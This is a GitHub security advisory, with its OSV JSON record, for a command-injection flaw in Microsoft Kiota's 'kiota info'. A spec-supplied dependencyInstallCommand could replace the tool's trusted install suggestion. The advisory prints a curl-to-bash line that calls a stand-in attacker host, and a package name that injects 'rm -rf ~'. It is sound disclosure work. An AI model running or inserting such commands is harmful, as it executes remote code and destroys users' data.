GHSA-HQ9Q-27G5-QWPJ
Vulnerability from github – Published: 2026-07-24 16:11 – Updated: 2026-07-24 16:11Summary
kiota info — the command developers run to learn which packages to install after generating a client —
read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied
dependencyInstallCommand (and dependency name/version) as the tool's own recommended install
command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised
description:
$ kiota info -d <attacker-spec> -l CSharp
...
Hint: use the install command to install the dependencies.
Example:
curl -s https://attacker.example/x.sh | bash # attacker-controlled
A developer who followed kiota's explicit instruction (run the suggested install command) executed
attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the
Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string
directly, so an "install dependencies" action in the IDE could run it automatically.
Confirmed on Kiota 1.32.4.
Details
x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the
install-command example, and dependencies[].name/version were shown verbatim in the package table:
# spec
x-ms-kiota-info:
languagesInformation:
CSharp:
dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]
Without x-ms-kiota-info, kiota suggests its own trusted command (e.g.
dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it.
kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in
dependencyInstallCommand.
Impact
A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed
kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI
host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output,
could make this automatic. CWE-94 / CWE-829.
Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).
Patches
Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied
dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or
presents a description-provided install command and only surfaces kiota's own built-in, package-manager
templates. The --json output no longer carries a spec-controlled command string for the IDE to run.
Remediation
Upgrade to Kiota 1.32.5 or later. Update the Kiota VS Code extension to a version built against 1.32.5+.
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"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.OpenApi.Kiota"
},
"ranges": [
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},
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"fixed": "1.32.5"
}
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"name": "Microsoft.OpenApi.Kiota.Builder"
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},
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}
],
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}
]
}
],
"aliases": [
"CVE-2026-59865"
],
"database_specific": {
"cwe_ids": [
"CWE-829",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:11:46Z",
"nvd_published_at": "2026-07-16T16:19:15Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\n`kiota info` \u2014 the command developers run to learn which packages to install after generating a client \u2014\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool\u0027s own recommended install\ncommand**, replacing kiota\u0027s normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d \u003cattacker-spec\u003e -l CSharp\n ...\n Hint: use the install command to install the dependencies.\n Example:\n curl -s https://attacker.example/x.sh | bash # attacker-controlled\n```\n\nA developer who followed kiota\u0027s explicit instruction (run the suggested install command) executed\nattacker-controlled shell \u2014 **command injection \u2192 RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n languagesInformation:\n CSharp:\n dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec\u0027s value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota\u0027s instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota\u0027s hint, or by the IDE).\n\n### Patches\n\nFixed in **1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota\u0027s own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.32.5** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.",
"id": "GHSA-hq9q-27g5-qwpj",
"modified": "2026-07-24T16:11:46Z",
"published": "2026-07-24T16:11:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59865"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/pull/7883"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/kiota"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/releases/tag/v1.32.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`"
}
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